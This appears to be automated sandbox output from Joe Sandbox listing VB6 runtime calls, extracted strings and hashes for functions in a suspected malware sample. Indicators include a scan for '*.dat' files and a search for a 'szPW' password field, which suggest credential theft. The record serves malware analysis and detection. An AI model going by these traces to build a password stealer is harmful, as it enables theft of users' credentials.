__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,00000000,004032B6), ref: 00429914
__vbaFreeStr.MSVBVM60 ref: 0042992C
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00429962
__vbaSetSystemError.MSVBVM60(80000002,00000000), ref: 00429973
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429981
__vbaFreeStr.MSVBVM60 ref: 0042998A
__vbaStrMove.MSVBVM60(?), ref: 004299B3
__vbaLenBstr.MSVBVM60(?), ref: 004299CA
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 004299D9
__vbaStrMove.MSVBVM60(00000000,00000001,00000000), ref: 004299EA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004299F5
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00429A05
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429A13
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00429A2F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A47
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,00000000,004032B6), ref: 00429A58
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A66
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429A6F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A84
__vbaSetSystemError.MSVBVM60(80000001,00000000,?,?,?,?,00000000,004032B6), ref: 00429A95
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429AA3
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429AAC
__vbaStrCopy.MSVBVM60 ref: 0042999F

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00429ADB
__vbaSetSystemError.MSVBVM60(80000002,00000000), ref: 00429AEC
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429AFA
__vbaFreeStr.MSVBVM60 ref: 00429B03
__vbaStrCopy.MSVBVM60 ref: 00429B18
__vbaStrMove.MSVBVM60(?), ref: 00429B2C
__vbaLenBstr.MSVBVM60(?), ref: 00429B43
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 00429B52
__vbaStrMove.MSVBVM60(00000000,00000001,00000000), ref: 00429B63
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00429B6E
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00429B7E
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429B8C
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00429BA8
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429BC0
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,00000000,004032B6), ref: 00429BD1
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429BDF
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429BE8
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429C3B
__vbaFreeStr.MSVBVM60(00429C84,?,?,?,?,00000000,004032B6), ref: 00429C6B
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429C74
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429C7D

Strings

MGG, xrefs: 00429B10
X1@, xrefs: 004298C1
MGG, xrefs: 00429997

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$AnsiError$System$MoveUnicode$BstrCopy$#516#631List$Chkstk
String ID: MGG$MGG$X1@
API String ID: 3619963569-3990769864
Opcode ID: 940beab17d9b24f9990cadcffc4ef0ae816e00d13d285cc8866c0fad8e1e78f3
Instruction ID: cadc88f3378a5b8a7e488d7ed3a86a3d9527093b9cfaa094389870ae1251132b
Opcode Fuzzy Hash: 940beab17d9b24f9990cadcffc4ef0ae816e00d13d285cc8866c0fad8e1e78f3
Instruction Fuzzy Hash: 93D1ABB1900109EFDB04EFE0EE99EDEBB79EF48305F108169F602B6160DB756945CB64

Function 004214E0 Relevance: 103.8, APIs: 69, Instructions: 297COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000), ref: 0042153E
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00421546
__vbaOnError.MSVBVM60(00000001,?,00000000), ref: 0042154A
#648.MSVBVM60(0000000A,?,00000000), ref: 00421562
__vbaFreeVar.MSVBVM60(?,00000000), ref: 00421571
__vbaI2I4.MSVBVM60(?,?,00000000), ref: 00421583
__vbaFileOpen.MSVBVM60(00000020,000000FF,00000000,?,00000000), ref: 0042158A
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421592
#570.MSVBVM60(00000000,?,00000000), ref: 00421595
__vbaLenBstr.MSVBVM60(Function_0000545C,?,00000000), ref: 004215A2
__vbaLenBstr.MSVBVM60(Function_0000545C,?,00000000), ref: 004215C7
#525.MSVBVM60(00000000,?,00000000), ref: 004215CE
__vbaStrMove.MSVBVM60(?,00000000), ref: 004215D9
__vbaI2I4.MSVBVM60(?,00000000), ref: 004215E1
__vbaFileSeek.MSVBVM60(00000000,00000000,?,00000000), ref: 004215E5
__vbaI2I4.MSVBVM60(?,00000000), ref: 004215ED
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 004215F6
__vbaStrMove.MSVBVM60(?,00000000,?,00000000), ref: 0042162F
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 00421632
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 0042164F
__vbaI2I4.MSVBVM60(?,00000000), ref: 004217B1
__vbaFileClose.MSVBVM60(00000000,?,00000000), ref: 004217BA
__vbaI2I4.MSVBVM60(?,00000000), ref: 004217BE
__vbaPut3.MSVBVM60(00000004,?,00000000,?,00000000), ref: 004217C7
__vbaStrCopy.MSVBVM60(?,00000000), ref: 004217D5

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0042161E

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrCopy.MSVBVM60(?,00000000), ref: 00421604

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaI2I4.MSVBVM60(?,00000000), ref: 00421663
#570.MSVBVM60(00000000,?,00000000), ref: 00421666
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421679
__vbaFileSeek.MSVBVM60(00000000,00000000,?,00000000), ref: 0042167D
#648.MSVBVM60(0000000A,?,00000000), ref: 00421695
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004216A4
__vbaI2I4.MSVBVM60(?,?,00000000), ref: 004216B0
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?,00000000), ref: 004216BA
#525.MSVBVM60(00001000,?,00000000), ref: 004216C5
__vbaStrMove.MSVBVM60(?,00000000), ref: 004216D0
__vbaI2I4.MSVBVM60(?,00000000), ref: 004216D8
#570.MSVBVM60(00000000,?,00000000), ref: 004216DB
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421712
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042171B
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421723
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042172C
#598.MSVBVM60(?,00000000), ref: 00421744
#525.MSVBVM60(-00000001,?,00000000), ref: 00421764
__vbaStrMove.MSVBVM60(?,00000000), ref: 0042176F
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421777
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 00421780
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421788
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 00421791
#598.MSVBVM60(?,00000000), ref: 0042179E
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004217E9

Part of subcall function 00411210: #594.MSVBVM60(?,6D16D9F5,-00000001,6D16D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004217FD
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421805
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042180E
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 00421822
__vbaI2I4.MSVBVM60 ref: 0042182D
__vbaFileClose.MSVBVM60(00000000), ref: 00421830
__vbaExitProc.MSVBVM60 ref: 00421839
__vbaI2I4.MSVBVM60 ref: 0042184F
__vbaFileClose.MSVBVM60(00000000), ref: 00421858
__vbaI2I4.MSVBVM60 ref: 0042185D
__vbaFileClose.MSVBVM60(00000000), ref: 00421860
__vbaExitProc.MSVBVM60 ref: 00421869
__vbaFreeStr.MSVBVM60(004218B2), ref: 004218A0
__vbaFreeStr.MSVBVM60 ref: 004218A5
__vbaFreeStr.MSVBVM60 ref: 004218AA
__vbaFreeStr.MSVBVM60 ref: 004218AF
__vbaErrorOverflow.MSVBVM60(?,00000000), ref: 004218C9

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$File$Copy$#516#631BstrClosePut3$#525#570Get3$#598#648ErrorExitListOpenProcSeek$#537#594Overflow
String ID:
API String ID: 936154001-0
Opcode ID: 3aa9f9ede1c026c034044edf61044cbf9f29f764a31bed732f8cbd30b78298b1
Instruction ID: 6fbf1135f095249bf70c03af9044da0b22cab9efce2ca8aeaf0a64a19547a855
Opcode Fuzzy Hash: 3aa9f9ede1c026c034044edf61044cbf9f29f764a31bed732f8cbd30b78298b1
Instruction Fuzzy Hash: B7B11B75E002589FCB04EFE4DE88AEEBBB9EF48341F10412AE506E72A4DB785945CF54

Function 0040DBF0 Relevance: 91.4, APIs: 49, Strings: 3, Instructions: 401COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040DC0E
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,?,?,?,Function_000032B6), ref: 0040DC57
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0040DC66
__vbaSetSystemError.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DC7E
__vbaSetSystemError.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DCA8
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 0040DCD1

Part of subcall function 00429F50: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
Part of subcall function 00429F50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,?,Function_000032B6), ref: 0040DD2F
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0040DD69
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0040DD7F
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0040DD98
#525.MSVBVM60(00000104), ref: 0040DDC1
__vbaStrMove.MSVBVM60 ref: 0040DDCC
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0040DE03
__vbaGenerateBoundsError.MSVBVM60 ref: 0040DE42
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0040DE5D
__vbaSetSystemError.MSVBVM60(?,00000000,00000000), ref: 0040DE83
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0040DE94
__vbaFreeStr.MSVBVM60 ref: 0040DEA9
#616.MSVBVM60(?,?), ref: 0040DEBE
__vbaStrMove.MSVBVM60 ref: 0040DECC
__vbaStrMove.MSVBVM60(?), ref: 0040DEE6
#517.MSVBVM60(00000000), ref: 0040DEED
__vbaStrMove.MSVBVM60 ref: 0040DEF8
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040DF0E
__vbaLenBstr.MSVBVM60(?,?,?,Function_000032B6), ref: 0040DF22
__vbaStrCmp.MSVBVM60(00000000,?,?,?,Function_000032B6), ref: 0040DF58
__vbaStrCopy.MSVBVM60(?,?,Function_000032B6), ref: 0040DFC0
__vbaStrMove.MSVBVM60(?,?,?,Function_000032B6), ref: 0040DFDA
__vbaStrMove.MSVBVM60(?,00000000,?,?,Function_000032B6), ref: 0040DFF5
__vbaStrCmp.MSVBVM60(00000000,?,?,Function_000032B6), ref: 0040DFFC
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,?,Function_000032B6), ref: 0040E027
__vbaStrCopy.MSVBVM60 ref: 0040E04A
__vbaStrCmp.MSVBVM60(00000000,?,?,?,Function_000032B6), ref: 0040E064
__vbaRecUniToAnsi.MSVBVM60(00405598,?,?,?,?,Function_000032B6), ref: 0040E0AB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,Function_000032B6), ref: 0040E0C1
__vbaRecAnsiToUni.MSVBVM60(00405598,?,?,?,?,Function_000032B6), ref: 0040E0DA
__vbaSetSystemError.MSVBVM60(?), ref: 0040E0FE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040E182
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040E19B
#600.MSVBVM60(00000008,00000000), ref: 0040E1BA
__vbaFreeVar.MSVBVM60 ref: 0040E1CC
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040E242
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040E25A
#600.MSVBVM60(00000008,00000000), ref: 0040E279
__vbaFreeVar.MSVBVM60 ref: 0040E28B

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D256537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

#598.MSVBVM60 ref: 0040E298
__vbaFreeStr.MSVBVM60(0040E305), ref: 0040E2DD
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0040E2F5
__vbaFreeStr.MSVBVM60 ref: 0040E2FE

Part of subcall function 0041A090: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0041A0AE
Part of subcall function 0041A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A0DE
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A118
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041A141
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041A157

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

Strings

PR, xrefs: 0040E255
>, xrefs: 0040E291
SE, xrefs: 0040E196

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$FreeMoveSystem$Copy$Ansi$Chkstk$Bstr$#525#580FileListUnicode$#570#600#616#648Open$#517#529#598BoundsConstruct2DestructGenerateGet3Get4Seek
String ID: PR$ SE$>
API String ID: 1583011778-1191765531
Opcode ID: 951a0a68ca226af333a2fe3954efda3b5d07aa3db237f3137d4a924946be3799
Instruction ID: f905f382651ed8b103fe9430cada2d1d943483e90bd52cba87cb48a71c5da37b
Opcode Fuzzy Hash: 951a0a68ca226af333a2fe3954efda3b5d07aa3db237f3137d4a924946be3799
Instruction Fuzzy Hash: F7122D75A01219EBDB14DFA0DE88BDE7BB4FF48304F1081A9E505B72A0DB785A85CF58

Function 0041BDC7 Relevance: 91.3, APIs: 49, Strings: 3, Instructions: 299COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60 ref: 0041BE27
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BE44
__vbaStrCat.MSVBVM60(00000000,?), ref: 0041BE64
__vbaStrMove.MSVBVM60 ref: 0041BE72
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041BE7E
__vbaStrMove.MSVBVM60 ref: 0041BE89
__vbaFreeStr.MSVBVM60 ref: 0041BE95
__vbaRecUniToAnsi.MSVBVM60(004055BC,?,?), ref: 0041BEB5
__vbaStrCat.MSVBVM60(*.dat,?,00000000), ref: 0041BEC5
__vbaStrMove.MSVBVM60 ref: 0041BED3
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041BEE1
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041BEF3
__vbaRecAnsiToUni.MSVBVM60(004055BC,?,?), ref: 0041BF0C
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041BF2B
__vbaStrFixstr.MSVBVM60(00000104,?), ref: 0041BF58
__vbaStrMove.MSVBVM60 ref: 0041BF66
__vbaStrMove.MSVBVM60(00000000), ref: 0041BF7A
__vbaLsetFixstr.MSVBVM60(00000104,?,?), ref: 0041BF93
__vbaStrMove.MSVBVM60 ref: 0041BFB8
__vbaFreeStr.MSVBVM60 ref: 0041BFC4
__vbaStrCat.MSVBVM60(?,?), ref: 0041BFD9
__vbaStrMove.MSVBVM60 ref: 0041BFE7
#578.MSVBVM60(00000000), ref: 0041BFEE
__vbaFreeStr.MSVBVM60 ref: 0041C00D
__vbaStrCat.MSVBVM60(?,?), ref: 0041C031
__vbaStrMove.MSVBVM60 ref: 0041C03F
__vbaStrMove.MSVBVM60(?), ref: 0041C056
__vbaFreeStr.MSVBVM60 ref: 0041C062
__vbaInStr.MSVBVM60(00000000,["szPW"],?,00000001), ref: 0041C07C
__vbaInStr.MSVBVM60(00000000,004095E4,?,-00000008), ref: 0041C0B5
__vbaInStr.MSVBVM60(00000000,004095E4,?,-00000001), ref: 0041C0EE
__vbaStrCopy.MSVBVM60 ref: 0041C353
__vbaFreeStr.MSVBVM60(0041C3F0), ref: 0041C3B0
__vbaFreeStr.MSVBVM60 ref: 0041C3B9
__vbaFreeStr.MSVBVM60 ref: 0041C3C2
__vbaFreeStr.MSVBVM60 ref: 0041C3CB
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041C3D7
__vbaFreeStr.MSVBVM60 ref: 0041C3E0
__vbaFreeStr.MSVBVM60 ref: 0041C3E9
__vbaErrorOverflow.MSVBVM60 ref: 0041C406

Strings

59ABCQEF01, xrefs: 0041C236
*.dat, xrefs: 0041BEC0
["szPW"], xrefs: 0041C075

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

